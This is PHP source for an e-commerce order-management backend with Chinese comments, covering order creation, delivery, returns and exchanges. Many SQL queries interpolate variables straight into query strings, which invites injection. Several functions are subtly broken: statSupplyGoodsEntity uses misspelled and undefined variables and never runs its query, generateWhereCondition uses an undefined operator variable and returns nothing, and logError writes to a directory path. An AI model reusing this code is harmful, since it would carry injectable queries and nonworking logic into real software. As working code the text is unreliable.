goodsEntityID * @param int $goodsEntityStatusID */ public function getSupplyGoodsIDByGoodsEntityID($goodsEntityID, $goodsEntityStatusID) { $supplyRecordID = 0; $sql = "SELECT SupplyRecordID FROM SupplyGoodsEntity WHERE GoodsEntityID = {$goodsEntityID} AND SupplyGoodsEntityStatusID = {$goodsEntityStatusID}"; $result = $this->_db->getToArray($sql); if ($result && $result['SupplyRecordID'] > 0) { $supplyRecordID = $result['SupplyRecordID']; } return $supplyRecordID; } /** * 统计货品总数(以商品ID分组) * @param int $supplyRecordID * @param int $supplyGoodsEntityStatusID */ public function statSupplyGoodsEntityList($supplyRecordID, $supplyGoodsEntityStatusID) { $statSupplyGoodsEntityList = array(); $sql = "SELECT GoodsID, COUNT(*) AS totalGoodsEntity FROM SupplyGoodsEntity WHERE SupplyRecordID = {$supplyRecordID} AND SupplyGoodsEntityStatusID = {$supplyGoodsEntityStatusID} GROUP BY GoodsID"; $statSupplyGoodsEntityList = $this->_db->loadToArray($sql); return $statSupplyGoodsEntityList; } /** * 统计货品总数 * @param int $supplyRecordID * @param int $supplyGoodsEntityStatusID */ public function statSupplyGoodsEntity($supplyRecordID, $supplyGoodsEntityStatusID) { $totalGoodsEntity = 0; $where = ''; if ($supplyReocrdID) { $where .= " AND SupplyRecordID = {$supplyRecordID}"; } if ($supplyGoodsEntityStatusID) { $where .= " AND SupplyGoodsEntityStatusID = {$supplyGoodsEntityStatusID}"; } $where = $this->_db->whereAdd($where); $sql ="SELECT COUNT(*) AS totalGoodsEntity FROM SupplyGoodsEntity {$where}"; $result = $this->_db->whereAdd($sql); if ($result && $result['totalGoodsEntity'] > 0) { $totalGoodsEntity = $resultID['totalGoodsEntity']; } return $totalGoodsEntity; } /** * 获取附件信息 * @param int $sourceTypeID * @param int $sourceID * @param int $attachmentStatusID * @return array $attachmentList */ public function getAttachmentList( $sourceTypeID, $sourceID, $attachmentStatusID) { $attachmentList = null; $where = ''; if ($sourceTypeID) { $where .= " AND SourceTypeID = {$sourceTypeID}"; } if ($sourceID) { $where .= " AND SourceID = {$sourceID}"; } if ($attachmentStatusID) { $where .= " AND AttachmentStatusID = {$attachmentStatusID}"; } $where = $this->_db->whereAdd($where); $sql = "SELECT AttachmentID, AttachmentTypeID, AttachmentPath FROM Attachment {$where} ORDER BY AttachmentID ASC"; $attachmentList = $this->_db->loadToArray($sql); return $attachmentList; } /********** 静态一些通用的方法:报错、调试、日志 ***********/ /** * 获得需要返回的错误数组 * @param * @param string $reason [错误信息] * @return [type] [description] */ public static function errorReturnData($reason = '', $message = '',$realReason = '') { $returnData = self::$_returnData; $returnData['status'] = 'failed'; $returnData['reason'] = $reason ? $reason : 'ERR_SYSTEM'; $returnData['message'] = $message; $returnData['realReason'] = $realReason; unset($return['data']); // error_log($message, self::ERROR_TO_FILE, self::ERROR_FILE_PATH); return $returnData; } /** * 返回成功信息 * @param array $data [description] * @return [type] [description] */ public static function successReturnData($data = array()) { $returnData = self::$_returnData; $returnData['status'] = 'success'; $returnData['data'] = $data; unset($returnData['reason']); unset($returnData['reasonCode']); unset($returnData['realReason']); // error_log($message, self::ERROR_TO_FILE, self::ERROR_FILE_PATH); return $returnData; } /** * 输出信息到请求客户端。 */ public static function exitJsonData($returnData = array()) { // 如果请求来自APP端,需要加密输出。 if (isset($GLOBALS['APP']) && $GLOBALS['APP'] === true) { CORE::echoJsonEncrypt($returnData); } else { exit(json_encode($returnData)); } } /** * 输出log * @param [type] $content [要输出的内容] * @param [type] $onlyDebug 仅仅var_dump出相关信息,且配合全局变量 debug使用。 * @param string $path [错误日志名称,目录默认是在当前文件的统计目录下,且不能更改] * @return [type] [description] */ public static function logError($content, $onlyDebug = true, $path = 'order.log') { if ($onlyDebug && $GLOBALS['debug'] == true) { var_dump($content); return true; } $errorLogDir = __DIR__; $errorLogFile = $errorLogDir . DIRECTORY_SEPARATOR . $path; if (is_array($content)) { $content = json_encode($content); } $content = $content . PHP_EOL; if (file_exists($errorLogFile)) { error_log($content, 3, $errorLogDir); } elseif (is_writable($errorLogDir)) { $touchResult = touch($errorLogFile); $logResult = false; if ($touchResult) { $logResult = error_log($content, 3, $errorLogDir); } return $logResult; } else { return false; } } /** * 获得调用当前函数的上级函数的函数名 * @return [type] [description] */ public static function getParentFunc() { $return = debug_backtrace(); // print_r($return); return $return[2]['function']; } /** * 临时测试使用 * @param [type] $filter [description] * @return [type] [description] */ public static function tempDebug($filter) { if ($filter['debug'] == 'global') {//在程序中使用 $GLOBALS['debug'] = true; } if ($filter['debug'] == 'api') {//只在调用其他系统时使用 $debug = true; } if ($filter['debug'] == 'all') {//全局使用 $GLOBALS['debug'] = true; $debug = true; } if ($filter['goodslist'] == 'fixed') {//如果传递fixed参数,表示写死货物种类。 $goodsList = array( array( 'GoodsID'=>11,//商品ID 'number'=>2 ), array( 'GoodsID'=>22, 'number'=>5 ) ); } $returnData['debug'] = $debug; $returnData['goodsList'] = $goodsList; return $returnData; } /** * 根据条件,生成指定的where条件,暂时没有用到该方法,但是可以考虑这种实现方式。 * @param array $condition * array( * 'MemberID'=>array('type'=>'int','operator'=>'eq','value'=>null) * 'MemberOrderStatusID'=>('type'=>'int','operator'=>'in','value'=>null) * ) * @return [type] [description] */ public static function generateWhereCondition($condition = array()) { $where = ""; // $field 字段; $constraint 约束条件。 foreach ((array)$condition as $field => $constraint) { if ($constraint['value'] === null || $constraint['value'] === array()) { continue; } if ($constraint['type'] == 'int') { $value = $constraint['value']; if ($constraint['operator'] == 'eq') { $operator = '='; } elseif ($constraint['operator'] == 'gt') { $operator = '>'; } elseif ($constraint['operator'] == 'gteq') { $operator = '>='; } elseif ($constraint['operator'] == 'lt') { $operator = '<'; } elseif ($constraint['operator'] == 'lteq') { $operator = '<='; } elseif ($constraint['operator'] == 'in') { if (!is_array($value) || count($value) == 0) { continue; } $operator = 'in'; $value = '(' . implode(',', $constraint['value']) . ')'; } else { continue; } $where .= " AND {$field} {$operation} {$value}"; } } } } ?> <file_sep><?php /** * 用户订单操作类 * @category CUK-BSS * @package order * @copyright 2016 iredpure * @author CJ <[<EMAIL>]> * @version v1.0 [2016-03-08 19:29:50] * @note 错误码使用范围 1100-1200 5100-5200 * @todo !important 暂时忽略库存减少操作-极其重要的一次性事务。 */ require_once(__DIR__ . '/CoreOrder.class.php'); class MemberOrder extends CoreOrder { /** * @var resource|null db handler * @access protected */ protected $_db = null; public function __construct($db) { if ($db) { $this->_db = $db; } else { throw(new Exception('invalid_db')); } } /************** 完整的订单操作流程如下 ***************/ /** * 生成用户购买订单。[订单状态默认为 待付款] * @param [type] $orderInfo [description] * @return [type] [description] */ public function saveMemberOrder($orderInfo) { if (!is_array($orderInfo) || count($orderInfo) == 0) { return parent::errorReturnData('CANNOT_GET_ORDERINFO', '没有获取到订单信息'); } // 开启事务 $this->_db->query('start transaction'); // @todo !important 暂时忽略库存减少操作-极其重要的一次性事务。 $coreOrderInfo = parent::generateOrder($orderInfo); if ($coreOrderInfo['status'] === 'success') { $coreOrderID = $coreOrderInfo['data']['CoreOrderID']; // 添加到 MemberOrder 表之中。 $memberOrderID = $this->_addMemberOrder($orderInfo, $coreOrderID); if (!$memberOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('ORDER_GENERATE_ERROR','订单生成失败','添加到用户订单表中时出错'); } // 回写到 CoreOrder表之中 $writeBackResult = parent::bindCoreOrderWithOtherOrder($coreOrderID, 'MemberOrder', $memberOrderID); if ($writeBackResult == false) { $this->_db->query('rollback'); return parent::errorReturnData('ORDER_GENERATE_ERROR','订单生成失败','回写到核心订单表中时出错'); } $successData = array( 'MemberOrderID'=>$memberOrderID, 'CoreOrderID'=>$coreOrderInfo['data']['CoreOrderID'] ); $this->_db->query('commit'); return parent::successReturnData($successData); } else { $returnData = $coreOrderInfo; $this->_db->query('rollback'); return parent::errorReturnData('ORDER_GENERATE_ERROR','订单生成失败','生成核心订单表中时出错'); } } public function generateMemberOrderFromSave($orderInfo) { if (!is_array($orderInfo) || count($orderInfo) == 0) { return parent::errorReturnData('CANNOT_GET_ORDERINFO', '没有获取到订单信息'); } $this->_db->query('start transaction'); $memberOrderID = $orderInfo['MemberOrderID']; $coreOrderID = $orderInfo['CoreOrderID']; if (!$coreOrderID || !$memberOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('CANNOT_GET_ORDERID', '没有获取到要修改的订单编号'); } $modifyResult = $this->_modifyMemberOrder($memberOrderID, $orderInfo); if (!$modifyResult) { $this->_db->query('rollback'); return parent::errorReturnData('MODIFY_MEMBERORDER_FAIL', '修改订单失败'); } $changeResult = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_PAYOFF); if (!$changeResult) { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_CHECKOUT_FAILURE','操作[结算订单]失败'); } $this->_db->query('commit'); return parent::successReturnData(); } /** * 生成用户购买订单。[订单状态默认为 待付款] * @param [type] $orderInfo [description] * @return [type] [description] */ public function generateMemberOrder($orderInfo) { if (!is_array($orderInfo) || count($orderInfo) == 0) { return parent::errorReturnData('CANNOT_GET_ORDERINFO', '没有获取到订单信息'); } // 开启事务 $this->_db->query('start transaction'); // @todo !important 暂时忽略库存减少操作-极其重要的一次性事务。 $coreOrderInfo = parent::generateOrder($orderInfo); if ($coreOrderInfo['status'] === 'success') { $coreOrderID = $coreOrderInfo['data']['CoreOrderID']; // 添加到 MemberOrder 表之中。 $memberOrderID = $this->_addMemberOrder($orderInfo, $coreOrderID); if (!$memberOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('ORDER_GENERATE_ERROR','订单生成失败','添加到用户订单表中时出错'); } // 如果支付方式选择货到付款的话,将订单状态更改为 待审核。 if ($orderInfo['PayTypeID'] == parent::PAYTYPE_ONDELIVERY) { $addAuditResult = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_UNAUDIT); if (!$addAuditResult) { return parent::errorReturnData('CHANGE_ORDERSTATUS_TO_UNAUDIT','订单生成失败','更新到待审核状态失败'); } } // 回写到 CoreOrder表之中 $writeBackResult = parent::bindCoreOrderWithOtherOrder($coreOrderID, 'MemberOrder', $memberOrderID); if ($writeBackResult == false) { $this->_db->query('rollback'); return parent::errorReturnData('ORDER_GENERATE_ERROR','订单生成失败','回写到核心订单表中时出错'); } $successData = array( // 'MemberOrderID'=>$memberOrderID, 'CoreOrderID'=>$coreOrderInfo['data']['CoreOrderID'] ); $this->_db->query('commit'); return parent::successReturnData($successData); } else { $returnData = $coreOrderInfo; $this->_db->query('rollback'); return parent::errorReturnData('ORDER_GENERATE_ERROR','订单生成失败','生成核心订单表中时出错'); } } public function generateOneMoreOrder($coreOrderID) { // 复制这些内容到各个表,包括 CoreOrder ,MemberOrder,CoreOrderGoods,GoodsAttribute,GoodsExtension,GoodsSpecification // 开启事务 $this->_db->query('start transaction'); $orderInfo['OrderTypeID'] = parent::ORDERTYPE_MEMBER_PURCHASE; $orderInfo['SourceName'] = 'MemberOrder'; $newCoreOrderID = parent::_generateCoreOrder($orderInfo); // 复制 CoreOrder ,MemberOrder,的内容 $memberOrderDetail = $this->getMemberOrderDetail(null,array(),$coreOrderID); unset($memberOrderDetail['MemberOrderID'],$memberOrderDetail['CoreOrderID'],$memberOrderDetail['MemberOrderStatusID'],$memberOrderDetail['AddTime']); // 添加到MemberOrder表,同时绑定CoreOrder表。 $memberOrderDetail['CoreOrderID'] = $newCoreOrderID; $memberOrderID = $this->_addMemberOrder($memberOrderDetail); $writeBackResult = parent::bindCoreOrderWithOtherOrder($newCoreOrderID, 'MemberOrder', $memberOrderID); if ($writeBackResult == false) { $this->_db->query('rollback'); return parent::errorReturnData('ORDER_GENERATE_ERROR','订单生成失败','回写到核心订单表中时出错'); } // 复制 CoreOrderGoods 的内容 $coreOrderGoodsList = $this->getOrderGoodsDetail($coreOrderID); foreach ($coreOrderGoodsList as $orderGoodsKey => $orderGoodsItem) { unset($orderGoodsItem['AddTime']); $oldCoreOrderGoodsID = $orderGoodsItem['CoreOrderGoodsID']; unset($orderGoodsItem['CoreOrderGoodsID']); $newCoreOrderGoodsID = parent::_generateGoods($newCoreOrderID, $orderGoodsItem); if ($newCoreOrderGoodsID > 0) { // 复制 GoodsAttribute 的内容 $attribute = $this->getOrderGoodsAttr($oldCoreOrderGoodsID); unset($attribute['AddTime']); unset($attribute['GoodsAttributeID']); $attribute['CoreOrderGoodsID'] = $newCoreOrderGoodsID; parent::_generateGoodsAttributeItem($attribute); // 复制 GoodsSpecification 的内容 $specification = $this->getOrderGoodsSpec($oldCoreOrderGoodsID); unset($specification['AddTime']); unset($specification['GoodsSpecificationID']); $specification['CoreOrderGoodsID'] = $newCoreOrderGoodsID; parent::_generateGoodsSpecificationItem($specification); } $extensionID = $orderGoodsItem['GoodsExtensionID']; unset($orderGoodsItem['GoodsExtensionID']); if ($extensionID > 0) { // 复制扩展表GoodsExtension信息 $extensionList = $this->getGoodsExtension($oldCoreOrderGoodsID); foreach ($extensionList as $extensionKey => $extensionItem) { unset($extensionItem['AddTime']); unset($extensionItem['GoodsExtensionID']); $newExtensionID = parent::_addGoodsExtension($extensionItem); parent::_bindCoreOrderWithGoodsExtensionID($newCoreOrderGoodsID, $newExtensionID); } } } $this->_db->query('commit'); $data = array('CoreOrderID'=>$newCoreOrderID); return parent::successReturnData($data); } /* 订单结算 */ public function checkoutOrder($memberOrderID,$payTypeID) { $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_PAYOFF); if ($payTypeID > 0) { $updateResult = $this->_updateMemberOrder(array('PayTypeID'=>$payTypeID), $memberOrderID); } if ($result === true) { return parent::successReturnData(); } else { return parent::errorReturnData('HANLEORDER_CHECKOUT_FAILURE','操作[结算订单]失败'); } } /* 订单审核-通过 - 仅针对货到付款的订单 */ public function verifyOrderToSuccess($memberOrderID) { $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_AUDIT_SUCCESS); if ($result === true) { return parent::successReturnData(); } else { return parent::errorReturnData('HANLEORDER_PASS_FAILURE','操作[通过订单审核]失败'); } } /* 订单审核-驳回 - 仅针对货到付款的订单 */ public function verifyOrderToFailure($memberOrderID) { $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_AUDIT_FAILURE); if ($result === true) { return parent::successReturnData(); } else { return parent::errorReturnData('HANLEORDER_REFUSE_FAILURE','操作[驳回订单审核]失败'); } } /* 订单发货 */ public function deliverOrder($memberOrderID, $goodsEntityID) { if (!$memberOrderID) { return parent::errorReturnData('MemberOrderID_IS_NULL','无法获取到用户订单编号'); } if (!is_array($goodsEntityID) || count($goodsEntityID) == 0 ) { $returnData = MemberOrder::errorReturnData('GoodsEntityID_IS_NULL','无法获取到货品编号'); MemberOrder::exitJsonData($returnData); } $coreOrderID = $this->_getCoreOrderIDByMemberOrderID($memberOrderID); if (!$coreOrderID) { return parent::errorReturnData('MISS_COREORDERID','缺少核心订单编号'); } $this->_db->query('start transaction'); $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_DELIVERY); if ($result === true) { // 将货品信息传过来 $goodsEntityResult = parent::addGoodsEntity($coreOrderID,$goodsEntityID); if ($goodsEntityResult === false) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_GOODSENTITY_FAILURE','添加货品失败'); } $this->_db->query('commit'); return parent::successReturnData(); } else { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_DELIVER_FAILURE','操作[发货]失败'); } } public function deliverOrderforwarehouse($memberOrderID) { $checkResult = $this->checkIsMatchMemberOrderStatus($memberOrderID,null, parent::MEMBERORDERSTATUS_DELIVERY); if ($checkResult == true) { return parent::errorReturnData('Order_Already_Delivery','订单已经是发货状态了'); } $checkResult = $this->checkIsMatchMemberOrderStatus($memberOrderID,null, parent::MEMBERORDERSTATUS_PACKOFF); if ($checkResult == false) { return parent::errorReturnData('Order_Not_PackOff','订单尚未打包完毕'); } $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_DELIVERY); if ($result === true) { return parent::successReturnData(); } else { return parent::errorReturnData('HANLEORDER_REFUSE_FAILURE','操作[发货]失败'); } } /* 订单签收 */ public function signOffOrder($memberOrderID) { $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_RECEIVED); if ($result === true) { return parent::successReturnData(); } else { return parent::errorReturnData('HANLEORDER_SIGNOFF_FAILURE','操作[签收订单]失败'); } } /* 申请退货 */ public function applyRejectOrderGoods($memberOrderID,$memberReturnOrderInfo,$goodsEntityIDList) { // 检查该MemberOrderID是否已经有对应的退货单了。-- @todo 此处是否有事务必要。 if ($this->_isAlreadyReject($memberOrderID)) { $this->_db->query('rollback'); return parent::errorReturnData('MEMBERORDER_RETURN_ALREADY', '该订单已经有过退货记录了'); } $this->_db->query('start transaction'); // 生成核心订单 $coreOrderID = parent::generateCoreOrderForPeripheral('MemberReturnOrder'); if (!$coreOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('COREORDER_GENERATE_ERROR', '订单生成失败', '核心订单生成失败'); } // 将退货信息获取到,并存储。 $memberReturnOrderInfo['MemberOrderID'] = $memberOrderID; $memberReturnOrderInfo['CoreOrderID'] = $coreOrderID; $memberReturnOrderInfo['MemberReturnOrderStatusID'] = parent::MEMBERRETURNORDERSTATUS_APPLY; $memberReturnOrderID = $this->_addMemberReturnOrder($memberReturnOrderInfo); if (!$memberReturnOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_MEMBERRETURN_ORDER_FAILURE','退货申请失败','添加到[退货信息表]失败'); } if (is_array($goodsEntityIDList) && count($goodsEntityIDList) > 0) { // 将退货的货品信息写入到CoreOrderGoodsEntity,订单货品明细。 $addEntityResult = parent::addGoodsEntity($coreOrderID,$goodsEntityIDList); if (!$addEntityResult) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_GOODSENTITY_FAILURE','退货申请失败','添加到[订单货品明细表]失败'); } } // 回写核心订单。 $bindResult = parent::bindCoreOrderWithOtherOrder($coreOrderID, 'MemberReturnOrder', $memberReturnOrderID); if (!$bindResult) { $this->_db->query('rollback'); return parent::errorReturnData('ORDER_GENERATE_ERROR','退货申请失败','回写到核心订单表中时出错'); } // 更改订单状态至退货申请。 $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_APPLY_REJECT); if ($result === true) { $this->_db->query('commit'); return parent::successReturnData(); } else { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_APPLYREJECT_FAILURE','订单生成失败','操作[申请退货]失败'); } } /** * 代理商或者门店申请退货,默认状态是退货成功,因为他们是结果操作。 * @param [type] $memberOrderID [description] * @param [type] $rejectGoodsInfo [description] * @return [type] [description] */ public function rejectOrderGoodsForAgent($memberOrderID,$rejectGoodsInfo) { $this->_db->query('start transaction'); $data = array(); foreach ($rejectGoodsInfo as $rejectKey => $rejectGoodsItem) { $result = $this->rejectOrderGoodsItemForAgent($memberOrderID,$rejectGoodsItem); if ($result['status'] !== 'success') { $this->_db->query('rollback'); return $result; } $entityReturnOrder = $result['data']; $memberReturnOrderID = $entityReturnOrder['MemberReturnOrderID']; $data[] = $memberReturnOrderID; } $this->_db->query('commit'); return parent::successReturnData($data); } public function rejectrefundOrderGoodsForAgent($memberReturnOrderID) { $this->_db->query('start transaction'); foreach ($memberReturnOrderID as $key => $memberReturnOrderID) { $handleResult = $this->rejectrefundOrderGoodsItemForAgent($memberReturnOrderID); if ($handleResult['status'] != 'success') { $this->_db->query('rollback'); return parent::errorReturnData('CHANGE_ORDER_TO_REFUND_SUCCESS','修改订单状态至退款成功失败'); } } $this->_db->query('commit'); return parent::successReturnData(); } public function rejectrefundOrderGoodsItemForAgent($memberReturnOrderID) { $handleReturnResult = $this->_changeMemberReturnOrderStatus($memberReturnOrderID,parent::MEMBERRETURNORDERSTATUS_REFUND_SUCCESS); if (!$handleReturnResult) { return parent::errorReturnData('CHANGE_RETURNORDER_TO_REFUND_SUCCESS','修改退货订单状态至退款成功失败'); } $memberOrderID = $this->_getMemberOrderIDByMemberReturnOrderID($memberReturnOrderID); if (!$memberOrderID) { return parent::errorReturnData('GET_MEMBERORDERID_FAILURE','获取订单编号失败'); } $handleResult = $this->_changeMemberOrderStatus($memberOrderID,parent::MEMBERORDERSTATUS_REJECT_FUND_SUCCESS); if (!$handleResult) { return parent::errorReturnData('CHANGE_ORDER_TO_REFUND_SUCCESS','修改订单状态至退款成功失败'); } return parent::successReturnData(); } /** * 添加退货商品 * @param [type] $memberOrderID [description] * @param [type] $rejectGoodsItem [description] * @return [type] [description] */ public function rejectOrderGoodsItemForAgent($memberOrderID,$rejectGoodsItem) { $goodsEntityID = $rejectGoodsItem['GoodsEntityID']; unset($rejectGoodsItem['GoodsEntityID']); $memberReturnOrderInfo = $rejectGoodsItem; // 生成核心订单 $coreOrderID = parent::generateCoreOrderForPeripheral('MemberReturnOrder'); if (!$coreOrderID) { return parent::errorReturnData('COREORDER_GENERATE_ERROR', '订单生成失败', '核心订单生成失败'); } // 将退货信息获取到,并存储。 $memberReturnOrderInfo['MemberOrderID'] = $memberOrderID; $memberReturnOrderInfo['CoreOrderID'] = $coreOrderID; $memberReturnOrderID = $this->_addMemberReturnOrder($memberReturnOrderInfo); if (!$memberReturnOrderID) { return parent::errorReturnData('ADD_MEMBERRETURN_ORDER_FAILURE','退货失败','添加到[退货信息表]失败'); } // 更改退货订单状态至退货成功,因为门店和代理商都是默认成功的。 $changeResult = $this->_changeMemberReturnOrderStatus($memberReturnOrderID, parent::MEMBERRETURNORDERSTATUS_SUCCESS); if (!$changeResult) { return parent::errorReturnData('ADD_MEMBERRETURN_ORDER_FAILURE','退货失败','更新状态到[退货成功]失败'); } // 将退货的货品信息写入到CoreOrderGoodsEntity,订单货品明细。 $addEntityResult = parent::addGoodsEntityItem($coreOrderID,$goodsEntityID); if (!$addEntityResult) { return parent::errorReturnData('ADD_GOODSENTITY_FAILURE','退货申请失败','添加到[订单货品明细表]失败'); } // 回写核心订单。 $bindResult = parent::bindCoreOrderWithOtherOrder($coreOrderID, 'MemberReturnOrder', $memberReturnOrderID); if (!$bindResult) { return parent::errorReturnData('ORDER_GENERATE_ERROR','退货申请失败','回写到核心订单表中时出错'); } // 更改订单状态至退货申请。 $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_REJECT_GOODS_SUCCESS); if ($result === true) { $data = array( 'MemberReturnOrderID' => $memberReturnOrderID ); return parent::successReturnData($data); } else { return parent::errorReturnData('HANLEORDER_APPLYREJECT_FAILURE','订单生成失败','操作[申请退货]失败'); } } /* 收到退货,确认完毕,同意退货 - @todo 返还用户资金 */ public function agreeRejectOrderGoods($memberReturnOrderID, $adminID, $verifyResult) { $this->_db->query('start transaction'); // 添加操作管理员 $verifyResult['ResultTypeID'] = $verifyResult['ResultTypeID']; $verifyResult['ResultID'] = parent::REJECTORDERAPPLY_VERIFY_RESULT_AGREE; $verifyResult['MemberReturnOrderID'] = $memberReturnOrderID; $addResult = $this->_addRejectVerifyResult($adminID, $verifyResult); if (!$addResult) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_REJECT_VERIFY_RESULT_FAILURE','添加[退货审核信息]失败'); } // 更改退货订单状态 $changeResult = $this->_changeMemberReturnOrderStatus($memberReturnOrderID, parent::MEMBERRETURNORDERSTATUS_SUCCESS); if (!$changeResult) { $this->_db->query('rollback'); return parent::errorReturnData('CHANGE_REJECT_TO_SUCCESS_FAILURE','改变[退货订单状态为成功]失败'); } // 获得原始订单编号 $memberOrderID = $this->_getMemberOrderIDByMemberReturnOrderID($memberReturnOrderID); if (!$memberOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('CANNOT_GET_MEMBERORDERID','获取用户订单编号失败'); } // 更改订单状态 $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_REJECT_SUCCESS); if ($result === true) { $this->_db->query('commit'); return parent::successReturnData(); } else { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_AGREEREJECT_FAILURE','操作[同意退货申请]失败'); } } /* 收到退货,确认完毕,拒绝退货 - 同用户协商理由和资金处置办法 */ public function refuseRejectOrderGoods($memberReturnOrderID, $adminID, $verifyResult) { $this->_db->query('start transaction'); // 添加操作管理员 $verifyResult['ResultTypeID'] = $verifyResult['ResultTypeID']; $verifyResult['ResultID'] = parent::REJECTORDERAPPLY_VERIFY_RESULT_REFUSE; $verifyResult['MemberReturnOrderID'] = $memberReturnOrderID; $addResult = $this->_addRejectVerifyResult($adminID, $verifyResult); if (!$addResult) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_REJECT_VERIFY_RESULT_FAILURE','添加[退货审核信息]失败'); } // 更改退货订单状态 $changeResult = $this->_changeMemberReturnOrderStatus($memberReturnOrderID, parent::MEMBERRETURNORDERSTATUS_FAILURE); if (!$changeResult) { $this->_db->query('rollback'); return parent::errorReturnData('CHANGE_REJECT_TO_SUCCESS_FAILURE','改变[退货订单状态为成功]失败'); } // 获得原始订单编号 $memberOrderID = $this->_getMemberOrderIDByMemberReturnOrderID($memberReturnOrderID); if (!$memberOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('CANNOT_GET_MEMBERORDERID','获取用户订单编号失败'); } // 更改订单状态 $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_REJECT_FAILURE); if ($result === true) { $this->_db->query('commit'); return parent::successReturnData(); } else { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_REFUSEREJECT_FAILURE','操作[驳回退货申请]失败'); } } /* 申请换货 */ public function applyBarterOrderGoods($memberOrderID,$barterInfo,$goodsEntityIDList) { // 检查该MemberOrderID是否已经有对应的换货单了。-- @todo 此处是否有事务必要,将来是不是有换货期限限制。 if ($this->_isAlreadyExchange($memberOrderID)) { $this->_db->query('rollback'); return parent::errorReturnData('MEMBERORDER_EXCHANGE_ALREADY', '该订单已经有过换货记录了'); } $this->_db->query('start transaction'); // 生成核心订单 $coreOrderID = parent::generateCoreOrderForPeripheral('MemberExchangeOrder'); if (!$coreOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('COREORDER_GENERATE_ERROR', '订单生成失败', '核心订单生成失败'); } // 将退货信息获取到,并存储。 $barterInfo['MemberOrderID'] = $memberOrderID; $barterInfo['CoreOrderID'] = $coreOrderID; $memberExchangeOrderID = $this->_addMemberExchangeOrder($barterInfo); if (!$memberExchangeOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_MEMBERBARTER_ORDER_FAILURE','添加到[换货信息表]失败'); } if (is_array($goodsEntityIDList) && count($goodsEntityIDList) > 0) { // 将换货的货品信息写入到CoreOrderGoodsEntity,订单货品明细。 $addEntityResult = parent::addGoodsEntity($coreOrderID,$goodsEntityIDList); if (!$addEntityResult) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_GOODSENTITY_FAILURE','换货申请失败','添加到[订单货品明细表]失败'); } } // 回写核心订单。 $bindResult = parent::bindCoreOrderWithOtherOrder($coreOrderID, 'MemberExchangeOrder', $memberExchangeOrderID); if (!$bindResult) { $this->_db->query('rollback'); return parent::errorReturnData('ORDER_GENERATE_ERROR','订单生成失败','回写到核心订单表中时出错'); } $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_APPLY_BARTER); if ($result === true) { $this->_db->query('commit'); return parent::successReturnData(); } else { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_APPLYBARTER_FAILURE','操作[申请换货]失败'); } } /* 收到换货,确认完毕,同意换货 - 返还用户资金 */ public function agreeBarterOrderGoods($memberExchangeOrderID, $adminID, $verifyResult, $goodsEntityIDList) { $this->_db->query('start transaction'); // 添加操作管理员 $verifyResult['ResultTypeID'] = $verifyResult['ResultTypeID']; $verifyResult['ResultID'] = parent::BARTERORDERAPPLY_VERIFY_RESULT_AGREE; $verifyResult['MemberExchangeOrderID'] = $memberExchangeOrderID; $addResult = $this->_addBarterVerifyResult($adminID, $verifyResult); if (!$addResult) { $this->_db->query('rollback'); return parent::errorReturnData('ADD_REJECT_VERIFY_RESULT_FAILURE','添加[退货审核信息]失败'); } // 更改换货订单状态 $changeResult = $this->_changeMemberExchangeOrderStatus($memberExchangeOrderID, parent::MEMBEREXCHANGEORDERSTATUS_SUCCESS); if (!$changeResult) { $this->_db->query('rollback'); return parent::errorReturnData('CHANGE_EXCHANGE_TO_SUCCESS_FAILURE','改变[换货订单状态为成功]失败'); } // 获得原始订单编号 $memberOrderID = $this->_getMemberOrderIDByMemberExchangeOrderID($memberExchangeOrderID); if (!$memberOrderID) { $this->_db->query('rollback'); return parent::errorReturnData('CANNOT_GET_MEMBERORDERID','获取用户订单编号失败'); } // 将要换的新品货品编号存入 OrderSupplyGoods 表中 $coreOrderID = $this->_getMemberOrderIDByMemberExchangeOrderID($memberExchangeOrderID); $addEntityResult = parent::addSupplyGoodsEntity($coreOrderID, $goodsEntityIDList); $result = $this->_changeMemberOrderStatus($memberOrderID, parent::MEMBERORDERSTATUS_BARTER_SUCCESS); if ($result === true) { $this->_db->query('commit'); return parent::successReturnData(); } else { $this->_db->query('rollback'); return parent::errorReturnData('HANLEORDER_AGREEBARTER_FAILURE','操作[同意换货申请]失败'); } } /* 收到换货,确认完毕,拒绝换货 - 同用户协商理由和资金处置办法 */ public function refuseBarterOrderGoods($memberExchangeOrderID, $adminID, $verifyResult) { $this->_db->query('start transaction'); // 添加操作管理员 $verifyResult['ResultTypeID'] = $verifyResult['ResultTypeID']; $verifyResult['ResultID'] = parent::BARTERORDERAPPLY_VERIFY_RESULT_REFUSE; $verifyResult['MemberExchangeOrderID'] 